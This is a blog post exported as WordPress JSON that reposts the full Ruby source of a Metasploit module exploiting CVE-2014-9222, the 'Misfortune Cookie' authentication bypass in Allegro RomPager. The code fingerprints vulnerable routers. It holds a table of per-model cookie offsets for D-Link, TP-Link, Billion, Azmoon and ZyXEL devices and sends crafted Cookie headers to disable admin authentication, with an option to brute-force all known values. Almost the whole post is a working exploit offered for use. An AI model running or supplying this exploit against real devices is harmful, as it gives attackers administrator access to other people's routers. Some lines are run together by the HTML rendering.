{"id":59312,"date":"2024-09-01T00:49:58","date_gmt":"2024-08-31T21:49:58","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180852\/allegro_rompager_auth_bypass.rb.txt"},"modified":"2024-09-01T00:49:58","modified_gmt":"2024-08-31T21:49:58","slug":"allegro-software-rompager-misfortune-cookie-cve-2014-9222-authentication-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/allegro-software-rompager-misfortune-cookie-cve-2014-9222-authentication-bypass\/","title":{"rendered":"Allegro Software RomPager Misfortune Cookie (CVE-2014-9222) Authentication Bypass"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8220;Allegro Software RomPager &#8216;Misfortune Cookie&#8217; (CVE-2014-9222) Authentication Bypass&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits HTTP servers that appear to be vulnerable to the<br \/>&#8216;Misfortune Cookie&#8217; vulnerability which affects Allegro Software<br \/>Rompager versions before 4.34 and can allow attackers to authenticate<br \/>to the HTTP service as an administrator without providing valid<br \/>credentials.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Jon Hart &lt;jon_hart[at]rapid7.com&gt;&#8217;, # metasploit scanner module<br \/>&#8216;Jan Trencansky &lt;jan.trencansky[at]gmail.com&gt;&#8217;, # metasploit auxiliary admin module<br \/>&#8216;Lior Oppenheim&#8217; # CVE-2014-9222<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2014-9222&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20191006135858\/http:\/\/mis.fortunecook.ie\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20190207102911\/http:\/\/mis.fortunecook.ie\/misfortune-cookie-suspected-vulnerable.pdf&#8217;], # list of likely vulnerable devices<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20190623150837\/http:\/\/mis.fortunecook.ie\/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf&#8217;] # 31C3 presentation with POC<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2014-12-17&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;URI to test&#8217;, &#8216;\/&#8217;]),<br \/>], Exploit::Remote::HttpClient<br \/>)<\/p>\n<p>register_advanced_options(<br \/>[<br \/>Msf::OptBool.new(&#8216;ForceAttempt&#8217;, [ false, &#8216;Force exploit attempt for all known cookies&#8217;, false ]),<br \/>], Exploit::Remote::HttpClient<br \/>)<br \/>end<\/p>\n<p>def headers<br \/>{<br \/>&#8216;Referer&#8217; =&gt; full_uri<br \/>}<br \/>end<\/p>\n<p># List of known values and models<br \/>def devices_list<br \/>known_devices = {<br \/>:&#8217;AZ-D140W&#8217; =&gt;<br \/>{<br \/>name: &#8216;Azmoon&#8217;, model: &#8216;AZ-D140W&#8217;, values: [<br \/>[107367693, 13]]},<br \/>:&#8217;BiPAC 5102S&#8217; =&gt;<br \/>{<br \/>name: &#8216;Billion&#8217;, model: &#8216;BiPAC 5102S&#8217;, values: [<br \/>[107369694, 13]]},<br \/>:&#8217;BiPAC 5200&#8242; =&gt;<br \/>{<br \/>name: &#8216;Billion&#8217;, model: &#8216;BiPAC 5200&#8217;, values: [<br \/>[107369545, 9],<br \/>[107371218, 21]]},<br \/>:&#8217;BiPAC 5200A&#8217; =&gt;<br \/>{<br \/>name: &#8216;Billion&#8217;, model: &#8216;BiPAC 5200A&#8217;, values: [<br \/>[107366366, 25],<br \/>[107371453, 9]]},<br \/>:&#8217;BiPAC 5200GR4&#8242; =&gt;<br \/>{<br \/>name: &#8216;Billion&#8217;, model: &#8216;BiPAC 5200GR4&#8217;, values: [<br \/>[107367690, 21]]},<br \/>:&#8217;BiPAC 5200SRD&#8217; =&gt;<br \/>{<br \/>name: &#8216;Billion&#8217;, model: &#8216;BiPAC 5200SRD&#8217;, values: [<br \/>[107368270, 1],<br \/>[107371378, 3],<br \/>[107371218, 13]]},<br \/>:&#8217;DSL-2520U&#8217; =&gt;<br \/>{<br \/>name: &#8216;D-Link&#8217;, model: &#8216;DSL-2520U&#8217;, values: [<br \/>[107368902, 25]]},<br \/>:&#8217;DSL-2600U&#8217; =&gt;<br \/>{<br \/>name: &#8216;D-Link&#8217;, model: &#8216;DSL-2600U&#8217;, values: [<br \/>[107366496, 13],<br \/>[107360133, 20]]},<br \/>:&#8217;TD-8616&#8242; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-8616&#8217;, values: [<br \/>[107371483, 21],<br \/>[107369790, 17],<br \/>[107371161, 1],<br \/>[107371426, 17],<br \/>[107370211, 5],<br \/>]},<br \/>:&#8217;TD-8817&#8242; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-8817&#8217;, values: [<br \/>[107369790, 17],<br \/>[107369788, 1],<br \/>[107369522, 25],<br \/>[107369316, 21],<br \/>[107369321, 9],<br \/>[107351277, 20]]},<br \/>:&#8217;TD-8820&#8242; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-8820&#8217;, values: [<br \/>[107369768, 17]]},<br \/>:&#8217;TD-8840T&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-8840T&#8217;, values: [<br \/>[107369845, 5],<br \/>[107369790, 17],<br \/>[107369570, 1],<br \/>[107369766, 1],<br \/>[107369764, 5],<br \/>[107369688, 17]]},<br \/>:&#8217;TD-W8101G&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8101G&#8217;, values: [<br \/>[107367772, 37],<br \/>[107367808, 21],<br \/>[107367751, 21],<br \/>[107367749, 13],<br \/>[107367765, 25],<br \/>[107367052, 25],<br \/>[107365835, 1]]},<br \/>:&#8217;TD-W8151N&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8151N&#8217;, values: [<br \/>[107353867, 24]]},<br \/>:&#8217;TD-W8901G&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8901G&#8217;, values: [<br \/>[107367787, 21],<br \/>[107368013, 5],<br \/>[107367854, 9],<br \/>[107367751, 21],<br \/>[107367749, 13],<br \/>[107367765, 25],<br \/>[107367682, 21],<br \/>[107365835, 1],<br \/>[107367052, 25]]},<br \/>:&#8217;TD-W8901GB&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8901GB&#8217;, values: [<br \/>[107367756, 13],<br \/>[107369393, 21]]},<br \/>:&#8217;TD-W8901N&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8901N&#8217;, values: [<br \/>[107353880, 0]]},<br \/>:&#8217;TD-W8951ND&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8951ND&#8217;, values: [<br \/>[107369839, 25],<br \/>[107369876, 13],<br \/>[107366743, 21],<br \/>[107364759, 25],<br \/>[107364759, 13],<br \/>[107364760, 21]]},<br \/>:&#8217;TD-W8961NB&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8961NB&#8217;, values: [<br \/>[107369844, 17],<br \/>[107367629, 21],<br \/>[107366421, 13]]},<br \/>:&#8217;TD-W8961ND&#8217; =&gt;<br \/>{<br \/>name: &#8216;TP-Link&#8217;, model: &#8216;TD-W8961ND&#8217;, values: [<br \/>[107369839, 25],<br \/>[107369876, 13],<br \/>[107364732, 25],<br \/>[107364771, 37],<br \/>[107364762, 29],<br \/>[107353880, 0],<br \/>[107353414, 36]]},<br \/>:&#8217;P-660R-T3 v3&#8242; =&gt; # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s<br \/>{<br \/>name: &#8216;ZyXEL&#8217;, model: &#8216;P-660R-T3&#8217;, values: [<br \/>[107369567, 21]]},<br \/>:&#8217;P-660RU-T3 v2&#8242; =&gt; # Couldn&#8217;t verify this<br \/>{<br \/>name: &#8216;ZyXEL&#8217;, model: &#8216;P-660R-T3&#8217;, values: [<br \/>[107369567, 21]]},<br \/>ALL =&gt; # Used when `ForceAttempt` === true<br \/>{ name: &#8216;Unknown&#8217;, model: &#8216;Forced&#8217;, values: [] }<br \/>}<br \/># collect all known cookies for a brute force option<br \/>all_cookies = []known_devices.collect { |_, v| v[:values] }.each do |list|<br \/>all_cookies += list<br \/>end<br \/>known_devices[:ALL][:values] = all_cookies.uniq<br \/>known_devices<br \/>end<\/p>\n<p>def check_response_fingerprint(res, fallback_status)<br \/>fp = http_fingerprint(response: res)<br \/>vprint_status(&#8220;Fingerprint: #{fp}&#8221;)<br \/># ensure the fingerprint at least appears vulnerable<br \/>if %r{RomPager\/(?&lt;version&gt;[\\d.]+)} =~ fp<br \/>vprint_status(&#8220;#{peer} is RomPager #{version}&#8221;)<br \/>if Rex::Version.new(version) &lt; Rex::Version.new(&#8216;4.34&#8217;) &amp;&amp; \/realm=&#8221;(?&lt;model&gt;.+)&#8221;\/ =~ fp<br \/>return model<br \/>end<br \/>end<br \/>fallback_status<br \/>end<\/p>\n<p>def run<br \/>res = send_request_raw(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path.to_s),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<br \/>model = check_response_fingerprint(res, Exploit::CheckCode::Detected)<br \/>if model != Exploit::CheckCode::Detected<br \/>devices = devices_list[model.to_sym]devices = devices_list[:ALL] if devices.nil? &amp;&amp; datastore[&#8216;ForceAttempt&#8217;]if !devices.nil?<br \/>print_good(&#8220;Detected device:#{devices[:name]} #{devices[:model]}&#8221;)<br \/>devices[:values].each do |value|<br \/>cookie = &#8220;C#{value[0]}=#{&#8216;B&#8217; * value[1]}\\x00&#8221;<br \/>res = send_request_raw(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path.to_s),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt; headers.merge(&#8216;Cookie&#8217; =&gt; cookie)<br \/>)<br \/>if !res.nil? &amp;&amp; (res.code &lt;= 302)<br \/>print_good(&#8216;Good response, please check host, authentication should be disabled&#8217;)<br \/>break<br \/>else<br \/>print_error(&#8216;Bad response&#8217;)<br \/>end<br \/>end<br \/>else<br \/>print_error(&#8220;No matching values for fingerprint #{model}&#8221;)<br \/>end<br \/>else<br \/>print_error(&#8216;Unknown device&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8220;Allegro Software RomPager &#8216;Misfortune Cookie&#8217; (CVE-2014-9222) Authentication Bypass&#8221;,&#8216;Description&#8217; =&gt; %q{This module exploits HTTP servers that appear to be vulnerable to the&#8216;Misfortune Cookie&#8217; vulnerability which affects Allegro SoftwareRompager versions before 4.34 and can allow attackers to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59312","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59312"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59312\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}